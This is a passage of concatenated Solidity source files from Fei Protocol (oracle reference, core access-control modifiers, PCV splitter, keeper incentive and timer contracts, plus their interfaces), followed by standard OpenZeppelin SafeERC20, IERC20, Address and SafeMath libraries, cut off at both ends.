bool public override doInvert;
/// @notice OracleRef constructor
/// @param _core Fei Core to reference
/// @param _oracle oracle to reference
/// @param _backupOracle backup oracle to reference
/// @param _decimalsNormalizer number of decimals to normalize the oracle feed if necessary
/// @param _doInvert invert the oracle price if this flag is on
constructor(address _core, address _oracle, address _backupOracle, int256 _decimalsNormalizer, bool _doInvert) CoreRef(_core) {
_setOracle(_oracle);
if (_backupOracle != address(0) && _backupOracle != _oracle) {
_setBackupOracle(_backupOracle);
}
_setDoInvert(_doInvert);
_setDecimalsNormalizer(_decimalsNormalizer);
}
/// @notice sets the referenced oracle
/// @param newOracle the new oracle to reference
function setOracle(address newOracle) external override onlyGovernor {
_setOracle(newOracle);
}
/// @notice sets the flag for whether to invert or not
/// @param newDoInvert the new flag for whether to invert
function setDoInvert(bool newDoInvert) external override onlyGovernor {
_setDoInvert(newDoInvert);
}
/// @notice sets the new decimalsNormalizer
/// @param newDecimalsNormalizer the new decimalsNormalizer
function setDecimalsNormalizer(int256 newDecimalsNormalizer) external override onlyGovernor {
_setDecimalsNormalizer(newDecimalsNormalizer);
}
/// @notice sets the referenced backup oracle
/// @param newBackupOracle the new backup oracle to reference
function setBackupOracle(address newBackupOracle) external override onlyGovernor {
_setBackupOracle(newBackupOracle);
}
/// @notice invert a peg price
/// @param price the peg price to invert
/// @return the inverted peg as a Decimal
/// @dev the inverted peg would be X per FEI
function invert(Decimal.D256 memory price)
public
pure
override
returns (Decimal.D256 memory)
{
return Decimal.one().div(price);
}
/// @notice updates the referenced oracle
function updateOracle() public override {
oracle.update();
}
/// @notice the peg price of the referenced oracle
/// @return the peg as a Decimal
/// @dev the peg is defined as FEI per X with X being ETH, dollars, etc
function readOracle() public view override returns (Decimal.D256 memory) {
(Decimal.D256 memory _peg, bool valid) = oracle.read();
if (!valid && address(backupOracle) != address(0)) {
(_peg, valid) = backupOracle.read();
}
require(valid, "OracleRef: oracle invalid");
// Scale the oracle price by token decimals delta if necessary
uint256 scalingFactor;
if (decimalsNormalizer < 0) {
scalingFactor = 10 ** (-1 * decimalsNormalizer).toUint256();
_peg = _peg.div(scalingFactor);
} else {
scalingFactor = 10 ** decimalsNormalizer.toUint256();
_peg = _peg.mul(scalingFactor);
}
// Invert the oracle price if necessary
if (doInvert) {
_peg = invert(_peg);
}
return _peg;
}
function _setOracle(address newOracle) internal {
require(newOracle != address(0), "OracleRef: zero address");
address oldOracle = address(oracle);
oracle = IOracle(newOracle);
emit OracleUpdate(oldOracle, newOracle);
}
// Supports zero address if no backup
function _setBackupOracle(address newBackupOracle) internal {
address oldBackupOracle = address(backupOracle);
backupOracle = IOracle(newBackupOracle);
emit BackupOracleUpdate(oldBackupOracle, newBackupOracle);
}
function _setDoInvert(bool newDoInvert) internal {
bool oldDoInvert = doInvert;
doInvert = newDoInvert;
if (oldDoInvert != newDoInvert) {
_setDecimalsNormalizer( -1 * decimalsNormalizer);
}
emit InvertUpdate(oldDoInvert, newDoInvert);
}
function _setDecimalsNormalizer(int256 newDecimalsNormalizer) internal {
int256 oldDecimalsNormalizer = decimalsNormalizer;
decimalsNormalizer = newDecimalsNormalizer;
emit DecimalsNormalizerUpdate(oldDecimalsNormalizer, newDecimalsNormalizer);
}
function _setDecimalsNormalizerFromToken(address token) internal {
int256 feiDecimals = 18;
int256 _decimalsNormalizer = feiDecimals - int256(uint256(IERC20Metadata(token).decimals()));
if (doInvert) {
_decimalsNormalizer = -1 * _decimalsNormalizer;
}
_setDecimalsNormalizer(_decimalsNormalizer);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../oracle/IOracle.sol";
/// @title OracleRef interface
/// @author Fei Protocol
interface IOracleRef {
// ----------- Events -----------
event OracleUpdate(address indexed oldOracle, address indexed newOracle);
event InvertUpdate(bool oldDoInvert, bool newDoInvert);
event DecimalsNormalizerUpdate(int256 oldDecimalsNormalizer, int256 newDecimalsNormalizer);
event BackupOracleUpdate(address indexed oldBackupOracle, address indexed newBackupOracle);
// ----------- State changing API -----------
function updateOracle() external;
// ----------- Governor only state changing API -----------
function setOracle(address newOracle) external;
function setBackupOracle(address newBackupOracle) external;
function setDecimalsNormalizer(int256 newDecimalsNormalizer) external;
function setDoInvert(bool newDoInvert) external;
// ----------- Getters -----------
function oracle() external view returns (IOracle);
function backupOracle() external view returns (IOracle);
function doInvert() external view returns (bool);
function decimalsNormalizer() external view returns (int256);
function readOracle() external view returns (Decimal.D256 memory);
function invert(Decimal.D256 calldata price)
external
pure
returns (Decimal.D256 memory);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../external/Decimal.sol";
/// @title generic oracle interface for Fei Protocol
/// @author Fei Protocol
interface IOracle {
// ----------- Events -----------
event Update(uint256 _peg);
// ----------- State changing API -----------
function update() external;
// ----------- Getters -----------
function read() external view returns (Decimal.D256 memory, bool);
function isOutdated() external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./ICoreRef.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
/// @title A Reference to Core
/// @author Fei Protocol
/// @notice defines some modifiers and utilities around interacting with Core
abstract contract CoreRef is ICoreRef, Pausable {
ICore private _core;
/// @notice a role used with a subset of governor permissions for this contract only
bytes32 public override CONTRACT_ADMIN_ROLE;
/// @notice CoreRef constructor
/// @param coreAddress Fei Core to reference
constructor(address coreAddress) {
_core = ICore(coreAddress);
_setContractAdminRole(_core.GOVERN_ROLE());
}
modifier ifMinterSelf() {
if (_core.isMinter(address(this))) {
_;
}
}
modifier onlyMinter() {
require(_core.isMinter(msg.sender), "CoreRef: Caller is not a minter");
_;
}
modifier onlyBurner() {
require(_core.isBurner(msg.sender), "CoreRef: Caller is not a burner");
_;
}
modifier onlyPCVController() {
require(
_core.isPCVController(msg.sender),
"CoreRef: Caller is not a PCV controller"
);
_;
}
modifier onlyGovernorOrAdmin() {
require(
_core.isGovernor(msg.sender) ||
isContractAdmin(msg.sender),
"CoreRef: Caller is not a governor or contract admin"
);
_;
}
modifier onlyGovernor() {
require(
_core.isGovernor(msg.sender),
"CoreRef: Caller is not a governor"
);
_;
}
modifier onlyGuardianOrGovernor() {
require(
_core.isGovernor(msg.sender) ||
_core.isGuardian(msg.sender),
"CoreRef: Caller is not a guardian or governor"
);
_;
}
modifier onlyFei() {
require(msg.sender == address(fei()), "CoreRef: Caller is not FEI");
_;
}
/// @notice set new Core reference address
/// @param newCore the new core address
function setCore(address newCore) external override onlyGovernor {
require(newCore != address(0), "CoreRef: zero address");
address oldCore = address(_core);
_core = ICore(newCore);
emit CoreUpdate(oldCore, newCore);
}
/// @notice sets a new admin role for this contract
function setContractAdminRole(bytes32 newContractAdminRole) external override onlyGovernor {
_setContractAdminRole(newContractAdminRole);
}
/// @notice returns whether a given address has the admin role for this contract
function isContractAdmin(address _admin) public view override returns (bool) {
return _core.hasRole(CONTRACT_ADMIN_ROLE, _admin);
}
/// @notice set pausable methods to paused
function pause() public override onlyGuardianOrGovernor {
_pause();
}
/// @notice set pausable methods to unpaused
function unpause() public override onlyGuardianOrGovernor {
_unpause();
}
/// @notice address of the Core contract referenced
/// @return ICore implementation address
function core() public view override returns (ICore) {
return _core;
}
/// @notice address of the Fei contract referenced by Core
/// @return IFei implementation address
function fei() public view override returns (IFei) {
return _core.fei();
}
/// @notice address of the Tribe contract referenced by Core
/// @return IERC20 implementation address
function tribe() public view override returns (IERC20) {
return _core.tribe();
}
/// @notice fei balance of contract
/// @return fei amount held
function feiBalance() public view override returns (uint256) {
return fei().balanceOf(address(this));
}
/// @notice tribe balance of contract
/// @return tribe amount held
function tribeBalance() public view override returns (uint256) {
return tribe().balanceOf(address(this));
}
function _burnFeiHeld() internal {
fei().burn(feiBalance());
}
function _mintFei(uint256 amount) internal {
fei().mint(address(this), amount);
}
function _setContractAdminRole(bytes32 newContractAdminRole) internal {
bytes32 oldContractAdminRole = CONTRACT_ADMIN_ROLE;
CONTRACT_ADMIN_ROLE = newContractAdminRole;
emit ContractAdminRoleUpdate(oldContractAdminRole, newContractAdminRole);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../core/ICore.sol";
/// @title CoreRef interface
/// @author Fei Protocol
interface ICoreRef {
// ----------- Events -----------
event CoreUpdate(address indexed oldCore, address indexed newCore);
event ContractAdminRoleUpdate(bytes32 indexed oldContractAdminRole, bytes32 indexed newContractAdminRole);
// ----------- Governor only state changing api -----------
function setCore(address newCore) external;
function setContractAdminRole(bytes32 newContractAdminRole) external;
// ----------- Governor or Guardian only state changing api -----------
function pause() external;
function unpause() external;
// ----------- Getters -----------
function core() external view returns (ICore);
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
function feiBalance() external view returns (uint256);
function tribeBalance() external view returns (uint256);
function CONTRACT_ADMIN_ROLE() external view returns (bytes32);
function isContractAdmin(address admin) external view returns (bool);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "./IPermissions.sol";
import "../token/IFei.sol";
/// @title Core Interface
/// @author Fei Protocol
interface ICore is IPermissions {
// ----------- Events -----------
event FeiUpdate(address indexed _fei);
event TribeUpdate(address indexed _tribe);
event GenesisGroupUpdate(address indexed _genesisGroup);
event TribeAllocation(address indexed _to, uint256 _amount);
event GenesisPeriodComplete(uint256 _timestamp);
// ----------- Governor only state changing api -----------
function init() external;
// ----------- Governor only state changing api -----------
function setFei(address token) external;
function setTribe(address token) external;
function allocateTribe(address to, uint256 amount) external;
// ----------- Getters -----------
function fei() external view returns (IFei);
function tribe() external view returns (IERC20);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/AccessControl.sol";
/// @title Permissions interface
/// @author Fei Protocol
interface IPermissions is IAccessControl {
// ----------- Governor only state changing api -----------
function createRole(bytes32 role, bytes32 adminRole) external;
function grantMinter(address minter) external;
function grantBurner(address burner) external;
function grantPCVController(address pcvController) external;
function grantGovernor(address governor) external;
function grantGuardian(address guardian) external;
function revokeMinter(address minter) external;
function revokeBurner(address burner) external;
function revokePCVController(address pcvController) external;
function revokeGovernor(address governor) external;
function revokeGuardian(address guardian) external;
// ----------- Revoker only state changing api -----------
function revokeOverride(bytes32 role, address account) external;
// ----------- Getters -----------
function isBurner(address _address) external view returns (bool);
function isMinter(address _address) external view returns (bool);
function isGovernor(address _address) external view returns (bool);
function isGuardian(address _address) external view returns (bool);
function isPCVController(address _address) external view returns (bool);
function GUARDIAN_ROLE() external view returns (bytes32);
function GOVERN_ROLE() external view returns (bytes32);
function BURNER_ROLE() external view returns (bytes32);
function MINTER_ROLE() external view returns (bytes32);
function PCV_CONTROLLER_ROLE() external view returns (bytes32);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/// @title FEI stablecoin interface
/// @author Fei Protocol
interface IFei is IERC20 {
// ----------- Events -----------
event Minting(
address indexed _to,
address indexed _minter,
uint256 _amount
);
event Burning(
address indexed _to,
address indexed _burner,
uint256 _amount
);
event IncentiveContractUpdate(
address indexed _incentivized,
address indexed _incentiveContract
);
// ----------- State changing api -----------
function burn(uint256 amount) external;
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
// ----------- Burner only state changing api -----------
function burnFrom(address account, uint256 amount) external;
// ----------- Minter only state changing api -----------
function mint(address account, uint256 amount) external;
// ----------- Governor only state changing api -----------
function setIncentiveContract(address account, address incentive) external;
// ----------- Getters -----------
function incentiveContract(address account) external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/// @title abstract contract for splitting PCV into different deposits
/// @author Fei Protocol
abstract contract PCVSplitter {
/// @notice total allocation allowed representing 100%
uint256 public constant ALLOCATION_GRANULARITY = 10_000;
uint256[] private ratios;
address[] private pcvDeposits;
event AllocationUpdate(address[] oldPCVDeposits, uint256[] oldRatios, address[] newPCVDeposits, uint256[] newRatios);
/// @notice PCVSplitter constructor
/// @param _pcvDeposits list of PCV Deposits to split to
/// @param _ratios ratios for splitting PCV Deposit allocations
constructor(address[] memory _pcvDeposits, uint256[] memory _ratios) {
_setAllocation(_pcvDeposits, _ratios);
}
/// @notice make sure an allocation has matching lengths and totals the ALLOCATION_GRANULARITY
/// @param _pcvDeposits new list of pcv deposits to send to
/// @param _ratios new ratios corresponding to the PCV deposits
function checkAllocation(
address[] memory _pcvDeposits,
uint256[] memory _ratios
) public pure {
require(
_pcvDeposits.length == _ratios.length,
"PCVSplitter: PCV Deposits and ratios are different lengths"
);
uint256 total;
for (uint256 i; i < _ratios.length; i++) {
total = total + _ratios[i];
}
require(
total == ALLOCATION_GRANULARITY,
"PCVSplitter: ratios do not total 100%"
);
}
/// @notice gets the pcvDeposits and ratios of the splitter
function getAllocation()
public
view
returns (address[] memory, uint256[] memory)
{
return (pcvDeposits, ratios);
}
/// @notice distribute funds to single PCV deposit
/// @param amount amount of funds to send
/// @param pcvDeposit the pcv deposit to send funds
function _allocateSingle(uint256 amount, address pcvDeposit)
internal
virtual;
/// @notice sets a new allocation for the splitter
/// @param _pcvDeposits new list of pcv deposits to send to
/// @param _ratios new ratios corresponding to the PCV deposits. Must total ALLOCATION_GRANULARITY
function _setAllocation(
address[] memory _pcvDeposits,
uint256[] memory _ratios
) internal {
address[] memory _oldPCVDeposits = pcvDeposits;
uint256[] memory _oldRatios = ratios;
checkAllocation(_pcvDeposits, _ratios);
pcvDeposits = _pcvDeposits;
ratios = _ratios;
emit AllocationUpdate(_oldPCVDeposits, _oldRatios, _pcvDeposits, _ratios);
}
/// @notice distribute funds to all pcv deposits at specified allocation ratios
/// @param total amount of funds to send
function _allocate(uint256 total) internal {
uint256 granularity = ALLOCATION_GRANULARITY;
for (uint256 i; i < ratios.length; i++) {
uint256 amount = total * ratios[i] / granularity;
_allocateSingle(amount, pcvDeposits[i]);
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
import "../refs/CoreRef.sol";
/// @title abstract contract for incentivizing keepers
/// @author Fei Protocol
abstract contract Incentivized is CoreRef {
/// @notice FEI incentive for calling keeper functions
uint256 public incentiveAmount;
event IncentiveUpdate(uint256 oldIncentiveAmount, uint256 newIncentiveAmount);
constructor(uint256 _incentiveAmount) {
incentiveAmount = _incentiveAmount;
emit IncentiveUpdate(0, _incentiveAmount);
}
/// @notice set the incentiveAmount
function setIncentiveAmount(uint256 newIncentiveAmount) public onlyGovernor {
uint256 oldIncentiveAmount = incentiveAmount;
incentiveAmount = newIncentiveAmount;
emit IncentiveUpdate(oldIncentiveAmount, newIncentiveAmount);
}
/// @notice incentivize a call with incentiveAmount FEI rewards
/// @dev no-op if the contract does not have Minter role
function _incentivize() internal ifMinterSelf {
fei().mint(msg.sender, incentiveAmount);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/// @title a PCV Deposit interface
/// @author Fei Protocol
interface IPCVDeposit {
// ----------- Events -----------
event Deposit(address indexed _from, uint256 _amount);
event Withdrawal(
address indexed _caller,
address indexed _to,
uint256 _amount
);
event WithdrawERC20(
address indexed _caller,
address indexed _token,
address indexed _to,
uint256 _amount
);
event WithdrawETH(
address indexed _caller,
address indexed _to,
uint256 _amount
);
// ----------- State changing api -----------
function deposit() external;
// ----------- PCV Controller only state changing api -----------
function withdraw(address to, uint256 amount) external;
function withdrawERC20(address token, address to, uint256 amount) external;
function withdrawETH(address payable to, uint256 amount) external;
// ----------- Getters -----------
function balance() external view returns (uint256);
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.4;
/// @title an abstract contract for timed events
/// @author Fei Protocol
abstract contract Timed {
/// @notice the start timestamp of the timed period
uint256 public startTime;
/// @notice the duration of the timed period
uint256 public duration;
event DurationUpdate(uint256 oldDuration, uint256 newDuration);
event TimerReset(uint256 startTime);
constructor(uint256 _duration) {
_setDuration(_duration);
}
modifier duringTime() {
require(isTimeStarted(), "Timed: time not started");
require(!isTimeEnded(), "Timed: time ended");
_;
}
modifier afterTime() {
require(isTimeEnded(), "Timed: time not ended");
_;
}
/// @notice return true if time period has ended
function isTimeEnded() public view returns (bool) {
return remainingTime() == 0;
}
/// @notice number of seconds remaining until time is up
/// @return remaining
function remainingTime() public view returns (uint256) {
return duration - timeSinceStart(); // duration always >= timeSinceStart which is on [0,d]
}
/// @notice number of seconds since contract was initialized
/// @return timestamp
/// @dev will be less than or equal to duration
function timeSinceStart() public view returns (uint256) {
if (!isTimeStarted()) {
return 0; // uninitialized
}
uint256 _duration = duration;
uint256 timePassed = block.timestamp - startTime; // block timestamp always >= startTime
return timePassed > _duration ? _duration : timePassed;
}
function isTimeStarted() public view returns (bool) {
return startTime != 0;
}
function _initTimed() internal {
startTime = block.timestamp;
emit TimerReset(block.timestamp);
}
function _setDuration(uint256 newDuration) internal {
require(newDuration != 0, "Timed: zero duration");
uint256 oldDuration = duration;
duration = newDuration;
emit DurationUpdate(oldDuration, newDuration);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
